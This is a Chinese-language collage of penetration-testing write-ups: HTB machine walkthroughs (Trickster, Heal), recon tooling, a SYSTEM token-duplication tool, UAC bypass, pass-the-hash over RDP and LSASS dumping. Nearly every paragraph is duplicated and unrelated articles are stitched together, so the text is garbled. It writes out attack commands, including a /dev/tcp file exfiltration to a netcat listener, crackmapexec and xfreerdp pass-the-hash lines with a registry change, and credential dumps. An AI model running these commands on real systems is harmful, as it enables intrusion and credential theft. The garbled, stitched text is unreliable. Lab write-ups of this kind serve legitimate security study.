Linux渗透实战之Trickster
web服务枚举,点shop跳转了一个页面,其实右键看源码也可以看见目录&子域名爆破。
发现admin634ewutrx1jgitlooaj路由,会跳转到一个登录界面,发现PrestaShop版本为8.1.5,上网搜索找到了CVE-2024-34716
建立立足点
CVE-2024-34716利用,枚举
建立了初始立足点,www-data账号,权限不高,先把shell完整一下
python3 -c 'import pty; pty.spawn("/bin/bash");'
home目录发现三个用户,获得www-data账号,我们能操作的地方很少,常见思路是去找数据库&备份&配置等敏感文件,开了3306端口,本地大概率起了一个mysql,尝试找配置文件
出现了很多config相关的文件夹及文件,一个一个找不现实,从哪里下手依赖经验及当前情势的判断,发现在app/config下放了很多config相关的文件
web服务枚举,点shop跳转了一个页面,其实右键看源码也可以看见目录&子域名爆破。
发现admin634ewutrx1jgitlooaj路由,会跳转到一个登录界面,发现PrestaShop版本为8.1.5,上网搜索找到了CVE-2024-34716
建立立足点
CVE-2024-34716利用,枚举
建立了初始立足点,www-data账号,权限不高,先把shell完整一下
python3 -c 'import pty; pty.spawn("/bin/bash");'
home目录发现三个用户,获得www-data账号,我们能操作的地方很少,常见思路是去找数据库&备份&配置等敏感文件,开了3306端口,本地大概率起了一个mysql,尝试找配置文件
出现了很多config相关的文件夹及文件,一个一个找不现实,从哪里下手依赖经验及当前情势的判断,发现在app/config下放了很多config相关的文件
Linux渗透HTB-Heal
详细端口扫描:nmap -sTVC -O -p22,80 10.10.11.46
.................
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
端口利用,一个登录界面,有注册功能,注册一下看看
一个简历生成器,可以尝试着生成一个简历,同时使用bp进行抓包,在放包的过程中我们发现了filename参数,利用目录遍历来读取敏感文件,利用成功,并且知道了两个用户ron和ralph,可以利用这个去读网站的配置文件,用套路进行信息收集:目录爆破&子域名爆破.
详细端口扫描:nmap -sTVC -O -p22,80 10.10.11.46
.................
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 68:af:80:86:6e:61:7e:bf:0b:ea:10:52:d7:7a:94:3d (ECDSA)
|_ 256 52:f4:8d:f1:c7:85:b6:6f:c6:5f:b2:db:a6:17:68:ae (ED25519)
端口利用,一个登录界面,有注册功能,注册一下看看
一个简历生成器,可以尝试着生成一个简历,同时使用bp进行抓包,在放包的过程中我们发现了filename参数,利用目录遍历来读取敏感文件,利用成功,并且知道了两个用户ron和ralph,可以利用这个去读网站的配置文件,用套路进行信息收集:目录爆破&子域名爆破.
目录爆破:gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-small.txt
找到survey路由,点击参与调查发现一个子域名
在index.php发现一个用户名ralph
再次进行目录爆破,在这里使用rust编写的feroxbuster来进行目录爆破,因为在爆破的过程中看到了很多503,为了便于直观看结果,使用-C参数过滤一下503:
feroxbuster --url http://take-survey.heal.htb/index.php/ -C 503
找到一个登录界面,目前只有两个用户名,和破解的密码
找到survey路由,点击参与调查发现一个子域名
在index.php发现一个用户名ralph
再次进行目录爆破,在这里使用rust编写的feroxbuster来进行目录爆破,因为在爆破的过程中看到了很多503,为了便于直观看结果,使用-C参数过滤一下503:
feroxbuster --url http://take-survey.heal.htb/index.php/ -C 503
找到一个登录界面,目前只有两个用户名,和破解的密码
通过上面的流程我可以将所有收集到的渗透测试edu资产储存到我的字典中,供下次的爆破使用,因为这次没有找到账号密码,所以这一次并不是很顺利,经历了2-3天终于让我在一个api测试的时候发现了敏感信息泄露
一般那种302直接转到统一身份认证的资产我都是会直接跳过的,但是实在是没有思路了,于是扫描了一下302的资产的目录
然后我是用如下命令扫描目录
./feroxbuster --scan-limit 2 -t 10 --filter-status 404 -x jsp -A -u https://you-url -k --proxy
发现了几个可疑的目录,将他们提取出来,然后使用katana爬取所有的链接到指定文件中
./katana -list urls.txt -o allurls.txt -proxy socks5://ip:10808
网站的指纹能够识别的的话,比如说我的这个资产是xx平台,根据这个信息去zoomeye寻找相似的网站,寻找不用统一身份认证的,然后将路由添加到urls.txt文件中
扫描出来的结果全部储存在allurls.txt文件中,我们需要将所有的js文件的路由提取到js-urls.txt
然后使用SecretFinder扫描js文件,并且将结果放到result.txt文件中
可以自行修改正则匹配,修改SecretFinder.py文件即可
一般那种302直接转到统一身份认证的资产我都是会直接跳过的,但是实在是没有思路了,于是扫描了一下302的资产的目录
然后我是用如下命令扫描目录
./feroxbuster --scan-limit 2 -t 10 --filter-status 404 -x jsp -A -u https://you-url -k --proxy
发现了几个可疑的目录,将他们提取出来,然后使用katana爬取所有的链接到指定文件中
./katana -list urls.txt -o allurls.txt -proxy socks5://ip:10808
网站的指纹能够识别的的话,比如说我的这个资产是xx平台,根据这个信息去zoomeye寻找相似的网站,寻找不用统一身份认证的,然后将路由添加到urls.txt文件中
扫描出来的结果全部储存在allurls.txt文件中,我们需要将所有的js文件的路由提取到js-urls.txt
然后使用SecretFinder扫描js文件,并且将结果放到result.txt文件中
可以自行修改正则匹配,修改SecretFinder.py文件即可
Sharp4Byass2SYSTEM:一款通过令牌复制将进程提升至SYSTEM权限的工具
在内网渗透环境中,获得 SYSTEM 权限是攻击链中的关键一环。通过分析 Windows 系统中对高权限进程的访问机制,发现利用 SYSTEM 账户运行的关键进程,如 winlogon 的访问令牌,可以伪装为操作系统内核,启动具有最高权限的进程。
识别当前进程的所有者权限
Sharp4Byass2SYSTEM.exe 工具内部调用 WMI 的 GetOwner 方法获取进程所有者的用户名和所在的域,然后通过判断进程所有者的用户名是否包含了关键词 "NT",比如返回 "NT AUTHORITY\SYSTEM",包含了NT就表示该进程是系统用户创建的,因此也具备了SYSTEM权限.
通过 Process.GetCurrentProcess().Id 获取当前运行的进程的PID,接着,调用 上述的 GetProcessOwner 方法,通过传递当前进程的 ID,获取进程的所有者信息。
随后,通过调用 WMI 的 Win32_Process 类查询获取进程的各种信息,例如 PID、名称、启动时间等,这里最核心的代码是获取进程所有者
在内网渗透环境中,获得 SYSTEM 权限是攻击链中的关键一环。通过分析 Windows 系统中对高权限进程的访问机制,发现利用 SYSTEM 账户运行的关键进程,如 winlogon 的访问令牌,可以伪装为操作系统内核,启动具有最高权限的进程。
识别当前进程的所有者权限
Sharp4Byass2SYSTEM.exe 工具内部调用 WMI 的 GetOwner 方法获取进程所有者的用户名和所在的域,然后通过判断进程所有者的用户名是否包含了关键词 "NT",比如返回 "NT AUTHORITY\SYSTEM",包含了NT就表示该进程是系统用户创建的,因此也具备了SYSTEM权限.
通过 Process.GetCurrentProcess().Id 获取当前运行的进程的PID,接着,调用 上述的 GetProcessOwner 方法,通过传递当前进程的 ID,获取进程的所有者信息。
随后,通过调用 WMI 的 Win32_Process 类查询获取进程的各种信息,例如 PID、名称、启动时间等,这里最核心的代码是获取进程所有者
将当前进程提升至SYSTEM
当 Sharp4Byass2SYSTEM 以管理员权限运行且当前用户不是系统账户时,将触发自定义的 jumptoSys() 方法,尝试将当前进程提升为 SYSTEM 权限.
这里有个重新启动该进程的步骤,主要是当前运行程序的完整路径(通过 Assembly.GetEntryAssembly()获得),以便在提升权限后重新启动该进程,先保存在变量 procTostart 之中。随后,通过 Process.GetProcessesByName("winlogon")[0],获取名称为 winlogon 的进程,而 winlogon 是一个高权限进程,通常运行在 SYSTEM 账户下.
接着,使用 OpenProcessToken 函数打开 winlogon 进程的访问令牌,并将令牌句柄存储在 tokenHandle 中,最后,使用 DuplicateTokenEx 函数创建一个新的令牌,并且指定 TokenPrimary 为主令牌,代码如下所示
doubleDuplicateToken 是存储复制后的新令牌句柄,再使用 CreateProcessWithTokenW 函数启动一个进程
创建新的进程中,procTostart 变量是当前程序的路径,用于重新启动自身,doubleDuplicateToken 表示 SYSTEM 权限的令牌,这样重启后的进程权限是SYSTEM,并且进程的所有者变成NT系统用户。
当 Sharp4Byass2SYSTEM 以管理员权限运行且当前用户不是系统账户时,将触发自定义的 jumptoSys() 方法,尝试将当前进程提升为 SYSTEM 权限.
这里有个重新启动该进程的步骤,主要是当前运行程序的完整路径(通过 Assembly.GetEntryAssembly()获得),以便在提升权限后重新启动该进程,先保存在变量 procTostart 之中。随后,通过 Process.GetProcessesByName("winlogon")[0],获取名称为 winlogon 的进程,而 winlogon 是一个高权限进程,通常运行在 SYSTEM 账户下.
接着,使用 OpenProcessToken 函数打开 winlogon 进程的访问令牌,并将令牌句柄存储在 tokenHandle 中,最后,使用 DuplicateTokenEx 函数创建一个新的令牌,并且指定 TokenPrimary 为主令牌,代码如下所示
doubleDuplicateToken 是存储复制后的新令牌句柄,再使用 CreateProcessWithTokenW 函数启动一个进程
创建新的进程中,procTostart 变量是当前程序的路径,用于重新启动自身,doubleDuplicateToken 表示 SYSTEM 权限的令牌,这样重启后的进程权限是SYSTEM,并且进程的所有者变成NT系统用户。
证书站的渗透
信息收集,敏感信息收集、ip段收集、然后整理归类
收集baidu.com的子域名成字典,经过上面的步骤后我已经得到了很多的baudu.com的子域名在我的subdomains.txt文件中
执行下面的命令将baidu.com替换成FUZZ
sed -r 's/baidu\.com/FUZZ/g' subdomains.txt | tee sub-baidu-dic.txt
生成字典内容,然后将这次收集到的不重复的添加到你收集的总字典中,使用字典爆破你想要爆破的域名
或者使用ffuf进行爆破
先将子域名给替换生成完整的域名
cat sub-baidu-dic.txt | sed 's/FUZZ/baidu\.com/g' | tee baidu-urls.txt然后使用ffuf进行爆破。
信息收集,敏感信息收集、ip段收集、然后整理归类
收集baidu.com的子域名成字典,经过上面的步骤后我已经得到了很多的baudu.com的子域名在我的subdomains.txt文件中
执行下面的命令将baidu.com替换成FUZZ
sed -r 's/baidu\.com/FUZZ/g' subdomains.txt | tee sub-baidu-dic.txt
生成字典内容,然后将这次收集到的不重复的添加到你收集的总字典中,使用字典爆破你想要爆破的域名
或者使用ffuf进行爆破
先将子域名给替换生成完整的域名
cat sub-baidu-dic.txt | sed 's/FUZZ/baidu\.com/g' | tee baidu-urls.txt然后使用ffuf进行爆破。
kali权限凭证获取启动一个http服务,修改一下index.html,然后重新检查,获得容器的root。
adam凭证获取,在根目录下面发现了可疑目录,cd进去后发现了zip文件:
容器root:cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
.............
james@trickster: nc -lvnp 6666
............
攻击机kali:scp -P 22 james@10.10.11.34:/tmp/changedetection-backup-20240830194841.zip ./
在压缩包内发现br格式文件,获得adam的密码,ssh连上去adam:adam_admin992.
adam凭证获取,在根目录下面发现了可疑目录,cd进去后发现了zip文件:
容器root:cat changedetection-backup-20241224060547.zip > /dev/tcp/172.17.0.1/6666
.............
james@trickster: nc -lvnp 6666
............
攻击机kali:scp -P 22 james@10.10.11.34:/tmp/changedetection-backup-20240830194841.zip ./
在压缩包内发现br格式文件,获得adam的密码,ssh连上去adam:adam_admin992.
权限提升
发现了docker的网卡
这里我们可以上传一些扫描工具,也可以借助系统自带的命令去扫描网段。
ping&伪设备枚举,这里以ping举例
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
只发现了一个ip,接下来我们要探测一下端口,可以通过伪设备来实现
最终发现了一个5000端口
其实上面的这些,上传个fscan一条命令就能完成
发现了docker的网卡
这里我们可以上传一些扫描工具,也可以借助系统自带的命令去扫描网段。
ping&伪设备枚举,这里以ping举例
for i in {1..254}; do ping -c 1 -W 0.1 172.17.0.$i|grep from;done
只发现了一个ip,接下来我们要探测一下端口,可以通过伪设备来实现
最终发现了一个5000端口
其实上面的这些,上传个fscan一条命令就能完成
UAC 绕过——Windows 权限提升
在 Linux 机器上使用sudo命令。使用 sudo,您必须知道 root 密码才能以 root 权限执行命令。UAC 大致相同,在右键单击要以管理员权限运行的程序并选择“以管理员身份运行”后,它会提示您输入管理员密码
对 Windows 10 主机进行了初始枚举,发现端口 21 已打开并托管 FTP 服务器。FTP 服务器不允许匿名登录;但是,对 SMB 共享的枚举显示用户名为efrost。有了用户名和 FTP 服务器,使用 Hydra 对该服务进行暴力破解,并成功发现用户的 FTP 密码为Coldheart1234
目标主机的端口 445 和端口 3389 是开放的。为了快速取胜,首先使用Impacket Suite of Tools 中的 psexec.py试了对 SMB 的访问 。
在 Linux 机器上使用sudo命令。使用 sudo,您必须知道 root 密码才能以 root 权限执行命令。UAC 大致相同,在右键单击要以管理员权限运行的程序并选择“以管理员身份运行”后,它会提示您输入管理员密码
对 Windows 10 主机进行了初始枚举,发现端口 21 已打开并托管 FTP 服务器。FTP 服务器不允许匿名登录;但是,对 SMB 共享的枚举显示用户名为efrost。有了用户名和 FTP 服务器,使用 Hydra 对该服务进行暴力破解,并成功发现用户的 FTP 密码为Coldheart1234
目标主机的端口 445 和端口 3389 是开放的。为了快速取胜,首先使用Impacket Suite of Tools 中的 psexec.py试了对 SMB 的访问 。
通过 RDP 进行传递哈希攻击
自由网络
要通过 RDP 执行传递哈希攻击,我们可以使用Kali 预装的名为xfreerdp的工具。
从 172.16.1.100 转储了 SAM 哈希,然后我们尝试传递哈希以作为 172.16.1.200 上的本地管理员获取 RDP 会话。使用以下命令且不指定域,它将尝试以本地管理员帐户身份进行连接:
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard
为了绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用带有 crackmapexec 和-x开关的传递哈希攻击来执行以下命令:
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
现在我们已将 DisableRestrictAdmin 设置为 0 或“关闭”,我们能够使用 xfreerdp 成功执行传递哈希攻击。
自由网络
要通过 RDP 执行传递哈希攻击,我们可以使用Kali 预装的名为xfreerdp的工具。
从 172.16.1.100 转储了 SAM 哈希,然后我们尝试传递哈希以作为 172.16.1.200 上的本地管理员获取 RDP 会话。使用以下命令且不指定域,它将尝试以本地管理员帐户身份进行连接:
sudo xfreerdp /u:administrator /pth:3542d79d5d17bc9d3014d4d56b5e3060 /v:172.16.1.200 +clipboard
为了绕过此限制,我们需要编辑 DisableRestrictedAdmin 注册表项。为此,我们将使用带有 crackmapexec 和-x开关的传递哈希攻击来执行以下命令:
crackmapexec smb 172.16.1.200 -u Administrator -H 3542d79d5d17bc9d3014d4d56b5e3060 --local-auth -x 'reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f'
现在我们已将 DisableRestrictAdmin 设置为 0 或“关闭”,我们能够使用 xfreerdp 成功执行传递哈希攻击。
在 Windows 10 主机上执行此攻击
执行此攻击的不同方法的经验来看,我发现在 Windows 10 主机上唯一有效的方法有特定要求。也就是说,您需要知道具有 SeBackupPrivilege 的用户的密码,并且您需要在主机上具有 RDP(GUI)访问权限
对 backup_svc 帐户进行 kerberoast 并破解密码。现在,我们不再使用 evil-winrm 来获取 shell,而是使用xfreerdp
使用whoami /priv时,它并不显示我们拥有 SeBackupPrivilege
默认情况下,SeBackupPrivilege 在低完整性 shell 中未启用。要启用该权限,您需要使用“以管理员身份运行”打开命令提示符。将弹出 UAC 提示,要求输入当前用户的密码。这是 Windows 处理备份操作员组中用户权限的方式
一旦输入密码,权限即启用
执行此攻击的不同方法的经验来看,我发现在 Windows 10 主机上唯一有效的方法有特定要求。也就是说,您需要知道具有 SeBackupPrivilege 的用户的密码,并且您需要在主机上具有 RDP(GUI)访问权限
对 backup_svc 帐户进行 kerberoast 并破解密码。现在,我们不再使用 evil-winrm 来获取 shell,而是使用xfreerdp
使用whoami /priv时,它并不显示我们拥有 SeBackupPrivilege
默认情况下,SeBackupPrivilege 在低完整性 shell 中未启用。要启用该权限,您需要使用“以管理员身份运行”打开命令提示符。将弹出 UAC 提示,要求输入当前用户的密码。这是 Windows 处理备份操作员组中用户权限的方式
一旦输入密码,权限即启用
转储 LSASS 进程:任务管理器(GUI)
对于我们的第一个示例,我们可以使用我们创建的本地管理员帐户的凭据并通过 RDP 进入主机以获取 GUI 会话。
确认我们在系统上拥有本地管理员权限后,我们可以继续转储 LSASS 进程。
由于我们在受害者上有 GUI 访问权限,我们转储 LSASS 进程的第一种方法是使用任务管理器。
要创建进程转储文件,请右键单击任务栏(底部栏),然后单击任务管理器。
接下来,我们需要单击“更多详细信息”下拉箭头,然后转到“详细信息”选项卡。从那里,我们可以向下滚动,然后右键单击lsass.exe并选择“创建转储文件”。
对于我们的第一个示例,我们可以使用我们创建的本地管理员帐户的凭据并通过 RDP 进入主机以获取 GUI 会话。
确认我们在系统上拥有本地管理员权限后,我们可以继续转储 LSASS 进程。
由于我们在受害者上有 GUI 访问权限,我们转储 LSASS 进程的第一种方法是使用任务管理器。
要创建进程转储文件,请右键单击任务栏(底部栏),然后单击任务管理器。
接下来,我们需要单击“更多详细信息”下拉箭头,然后转到“详细信息”选项卡。从那里,我们可以向下滚动,然后右键单击lsass.exe并选择“创建转储文件”。